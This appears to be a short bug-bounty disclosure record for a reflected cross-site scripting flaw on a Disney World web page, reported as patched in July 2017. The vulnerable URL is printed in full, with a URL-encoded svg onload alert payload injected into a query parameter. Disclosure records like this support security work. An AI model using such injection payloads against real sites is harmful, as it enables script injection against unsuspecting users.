disneyworld.disney.go.com XSS vulnerability

Vulnerable URL: https://disneyworld.disney.go.com/guest-services/shop-disney-parks-mobile-app/?CMP="%3E%3C/a%3E%3Csvg/onload=alert'OPENBUGBOUNTY'%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:01 GMT Vulnerability type:| XSS Vulnerabilit...